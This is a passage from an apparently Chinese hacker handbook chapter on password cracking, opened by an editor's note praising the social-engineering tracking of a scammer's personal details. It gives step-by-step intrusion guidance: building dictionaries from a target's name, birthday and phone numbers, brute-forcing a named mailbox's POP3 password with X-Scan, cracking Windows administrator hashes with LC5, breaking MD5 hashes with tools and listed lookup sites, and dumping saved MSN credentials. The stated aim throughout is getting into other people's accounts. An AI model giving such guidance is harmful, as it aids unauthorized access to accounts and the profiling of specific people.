编辑点评:社会工程学是一门欺骗的艺术,文章一开始xwxukang就利用了作者“捡到大便宜”的心理设了一个陷阱,轻松骗取作者的装备。庆幸的是,作者没有轻易放弃教训骗子的机会,而是通过发散思维追踪下去,从不同的点去寻找机会,把仅有的一点信息→一个ID号扩大到几乎挖出了xwxukang的所有敏感信息。本文技术含量不高,精髓主要体现在灵活跳跃的思维能力上,也算是社会工程学的一个小小的应用。
密码是最为敏感的数据,通常我们入侵就是为了得到密码。所以我们搞黑客就离不开密码。目前几乎所有的密码的存在都是经过了加密的,因此在我们入侵的过程中,常常要破解各种各样的密码。这些密码有的是要远程破解,有的需要本地破解。下面,我就为大家讲解一些常见密码的破解,希望大家学了之后能够融会贯通,为自己以后的黑客学习提供一些帮助。
一、制作字典文件
破解的方法有很多,无论是远程破解也好,本地破解也罢,穷举法都是其中最常见的一种。这种方法就是随意地从字典文件中抽出一段词组来和要破解的密码进行比对,一个不行就试第二个、第三个,直到破解出需要的密码或是字典文件中的词组全部试完为止,也就是俗称的暴力破解。要进行暴力破解,一个好的字典文件是不可缺少的,甚至还可以起到事半功倍的作用。要制作字典文件,需要一种名为“字典生成器”的工具,常见的有黑客字典II、万能钥匙、疯狂字典、HackerDicBuilder等等。下面就通过HackerDicBuilder来为大家演示字典文件的制作过程。HackerDicBuilder是一款功能十分强大的字典生成工具,作者根据国人设置密码的习惯,采用线程技术来生成字典文件,可以说它的功能在这些字典工具中是最强的。因为HackerDicBuilder是一款绿色软件,所以我们直接运行就是了,另外,它还采用了向导式的配置过程。工具启动后,首先出现的是工具的使用说明。点击“下一步”按钮,出现的是“基本数据”的配置窗口,这里利用用户的名称和出生日期来配置字典文件,如图2-262所示。
图2-262 HackerDicBuilder主界面
这样可以针对某个人制作出和他名称、生日有关的字典文件;再点击“下一步”按钮,在“城市电话”中可以利用所选城市的邮政编码、长途区号、普通电话和移动电话来配置字典文件;接着点击“下一步”按钮,在“英文数字”窗口可以选择常用数字、其他常用英文、罕见组合、计算机网络及相关常用英文等选项进行配置。另外,用户还可以在“自定义组合”中填写自己需要的其他密码组合;接着再点击“下一步”按钮,在“文件合并”窗口中,用户可以将已有的字典文件合并到其他的字典文件中,使之成为一个新的字典文件,如图2-263所示。
图2-263 设置字典的参数
最后在“其他设置”窗口中设置字典文件的复杂程度和字典文件的保存路径,“复杂程度”通常设置为“一般”即可,最后点击“生成字典”按钮即可完成字典文件的配置工作,如图2-264所示。
图2-264 设置字典的复杂程度
最后需要提醒大家一点,好的字典文件在于“精”,而不在于“大”,所以用户在配置过程中,一定要根据破解的相关信息来设置相应的选项,不然词条过多的字典文件不但影响字典生成的速度,还会在破解过程中浪费大量的时间和精力。
二、远程破解
远程破解最常见的都是对一些网络服务进行破解,比如网络共享、电子邮箱、IPC连接、FTP、SQL等等。对于这些网络服务的破解,最常用的工具有X-Scan、流光、WIN自动攻击探测器、SSS等等。下面我就以最新版本的X-Scan来为大家演示一番远程破解的过程。X-Scan是一款非常优秀的扫描工具,它在扫描过程中可以对扫描到的内容进行自动的口令破解。首先从http://www.xfocus.net/下载最新的X-Scan-v3.3正式版的压缩包,解压后运行文件夹中的xscan_gui即可,如图2-265所示。
图2-265 X-Scan-v3.3主界面
点击工具栏上的“扫描参数”命令,在弹出的“扫描参数”窗口中进行扫描破解的配置。首先点击“检测范围”,在“指定IP范围”下设置需要扫描破解的IP地址。这里可以输入独立的IP地址或域名,比如我们需要破解nohack@21cn.com这个信箱,这里就输入该信箱服器的POP3地址pop.21cn.com,如图2-266所示。
图2-266 设置IP检测的范围
接着点击“全局设置”模块,“全局设置”模块下包括“扫描模块”、“并发扫描”、“网络设置”、“扫描报告”和“其他设置”等多个扫描项目。“扫描模块”选项中包括了可以进行扫描破解的选项,比如用户需要破解IPC的连接密码,就要选择“NT-Server弱口令”选项;如果用户需要对电子邮件进行破解的话,就要选择“POP3弱口令”这项。如果用户不清楚每个选项的内容,点击它以后,就会在右侧出现该选项的说明,如图2-267所示。
图2-267 选择“POP3弱口令”项
再点击“并发扫描”选项,这里用于设置并发扫描破解的主机和并发线程数,也可以单独为每个主机的各个插件设置最大线程数。“最大并发线程数量”选项则是扫描过程中最多可以启动的扫描线程数量。X-Scan采用了多线程方式进行扫描破解,用户可以根据自己计算机的配置以及网络带宽进行调整设置。下面再点击“插件设置”下的“字典文件设置”选项,这里设置用于破解某些内容需要的字典文件。通常情况下程序用户不用设置,程序会自动调用自带的相关字典文件进行破解。如果程序自带的文件没有破解出相应的密码,只需在该选项默认的文件列表中双击然后重新设置新的字典文件即可,如图2-268所示。
图2-268 设置字典路径
这里需要说明一下,如果要针对某个账号进行破解,比如破解nohack@21cn.com这个信箱的密码,我们就要对“POP3用户名字典”类型进行更新。用记事本打开程序默认的字典文件,将里面的内容全部删除,然后输入“nokack”即可。所有的设置完成后,点击工具栏中的“开始扫描”按钮,X-Scan就会按照我们的配置进行扫描破解。如果扫描到相应的选项,就会根据字典文件账号开始破解,完成后程序还会给出详细的报告,如图2-269所示。
图2-269 正在扫描中
三、本地破解
在黑客入侵的过程中,除了远程破解外,本地破解也是非常重要的。比如你在入侵网站的时候,得到了管理员的账号密码,可是这些密码是被MD5进行了加密的,所以我们就需要在本地进行密码的破解。本地破解和远程破解有一个很明显的区别就是,远程破解往往一个工具就可以胜任,而本地破解就需要“因人而异”,选择不同的工具才能破解。下面我们就看看常见的本地破解的操作。
1.本地破解管理员密码
事实证明,简单的或容易遭受破解的管理员密码是最大的安全威胁之一,因为攻击者往往以合法的身份登录计算机系统而不被察觉。L0phtCrack v5.02,简称LC 5,是一款网络管理员的必备的工具,它可以用来检测Windows、UNIX 用户是否使用了不安全的密码,同样也是最好、最快的Win NT/2000/XP/2003/UNIX 管理员账号密码破解工具。安装L0phtCrack v5.02 容笑汉化精简版,运行它,程序就会弹出一个向导窗口。
操作步骤:
如果用户是第一次使用LC5的话,还是通过向导进行操作比较好。点击向导窗口中的“下一步”按钮,在出现的窗口中选择一个导入加密口令的方法,用户可以根据情况选择“从本地机器导入”、“从远程电脑导入”、“从NT4.0紧急修复盘导入”以及“从本地电脑嗅探导入”;接着点击“下一步”按钮选择口令的破解方式,包括“快速口令破解”、“普通口令破解”、“复杂口令破解”以及“自定义”共四种方法;然后点击“下一步”按钮,选择破解报告的风格。设置完成后,LC5就开始对系统存在的管理员密码开始破解。如果密码不是很复杂的话,很短的时间内就会得到结果。不过,如果密码比较复杂的话,需要时间会很长,毕竟是暴力破解嘛。破解完成后,LC5会在窗口中显示破解出的管理员的域、用户名、认证口令、口令等项目,同时还会显示出破解的时间、用户数等项目,如图2-270所示。
图2-270 LC5主界面
2.本地破解MD5密码
由于现在很多的网络程序的账号密码都通过MD5进行了加密,所以为了得到密码的原文,我们需要对加密的账号密码进行破解。MD5的解密工具有很多,MD5Crack就是其中非常有效的一款。
操作步骤:
运行解密工具MD5Crack,在“密文设置”中选择“破解单个密文”选项,接着将加密过的密码复制到后面的输入框中,程序会自动判断这个密码是否被MD5加密过,经过确认才能被破解。接着在“字符设置”中对密码破解需要的字符进行设置,用户可以根据需要选择“使用字符集”、“使用字典”或“使用插件”选项,我们既可以使用刚刚生成的字典文件,也可以选择“使用字符集”选项,然后再从中选择相应的字符。接着再对密码的长度以及破解的速度进行设置,最后点击“开始”按钮程序就开始破解。如果运气好的话,很短的数据就可以破解出密码原文,如图2-271所示。
图2-271 MD5Crack完成破解
对于MD5加密的密码,如果密码设置的很长而且不常见的话,用工具是很难破解的,需要很长的时间,所以目前网络上有一些专门用于破解MD5的网站,他们是:
http://www.md5lookup.com/?category=main&page=search
http://www.xmd5.org/index_en.htm
http://www.milw0rm.com/md5/info.php
http://www.neeao.com/md5/
http://md5.mmkey.com/
http://gdataonline.com/seekhash.php
http://www.plain-text.info/search.php
http://passcracking.com/Good_values_list.asp
http://www.hashchecker.com/index.php?_sls=search_hash
http://md5.rednoize.com/
http://us.md5.crysm.net/
http://uploadpage.net/ap/php/projects/rt/addhash.php
我本人最为常去的网站是http://www.xmd5.org/index_en.htm,这个网站是是国内的一个在线破解MD5密码的网站,在破解MD5密码时非常方便,如图2-272所示
图2-272 xmd5网站主界面
3.本地破解MSN密码
随着微软的即时通讯工具MSN逐渐流行开来,网上也出现了大量针对MSN的病毒、恶意程序,这其中就包括一款专门用来破解MSN账号密码的工具——MSN口令发现者 v2.0。利用这款工具,任何人都可以轻易获取Windows XP和Windows 2003系统下MSN 7.0用户的.NET Passport邮箱地址及密码。
操作步骤:
MSN口令发现者的使用非常的简单,运行它以后,点击操作界面中的“Find Password”按钮后,立刻就会显示出在该计算机上登录过的MSN的账号和密码,如图2-273所示。
图2-273 破解MSN密码
至此,一些常见的远程破解和本地破解的方法就为大家介绍完了。其实我们在使用电脑的过程中,除了上面介绍的这些破解内容外,还常常遇见office文档、Rar文件的破解等等。其实大家只要通过合适的工具,就能将需要的目标成功地进行破解。如果还有什么问题的话,欢迎大家到《黑客手册》的论坛,我们一起进行讨论。
Q&A
1.为什么我破解了这么长时间,也没有成功呢?
密码破解本身除了方法和技巧以外,运气也是非常重要的一环,所以我们在进行密码破解的时候,先要做好无法破解的心理准备,不要认为破解就一定能成功。
2.为什么在进行MSN破解的时候不用暴力破解?
破解的方式有很多种,暴力破解只是其中的一种,当然也是最常见的一种。除了暴力破解外,还可以利用某些程序本身的漏洞直接读取保存在系统中的账号密码,MSN就是这样的。
编辑点评:有时候对于破解密码是需要很强的耐心和运气的,如果利用暴力破解破解不出来也是很正常的,制作字典是关键。每个黑客都有属于自己的字典,如何建立一个优秀的字典也是需要一定功夫的,使用社会工程学配合制作字典是再好不过了。
声明:本章中的部分内容都是依靠互联网查找而得到的,非常感谢网络上那些无名人士所做的贡献。同时本章还引用了一些非常优秀的黑客文章,非常感谢这些文章的作者,他们分别是:剑心、王炜、罗秉琨、Hak_BaN、光芒果等等。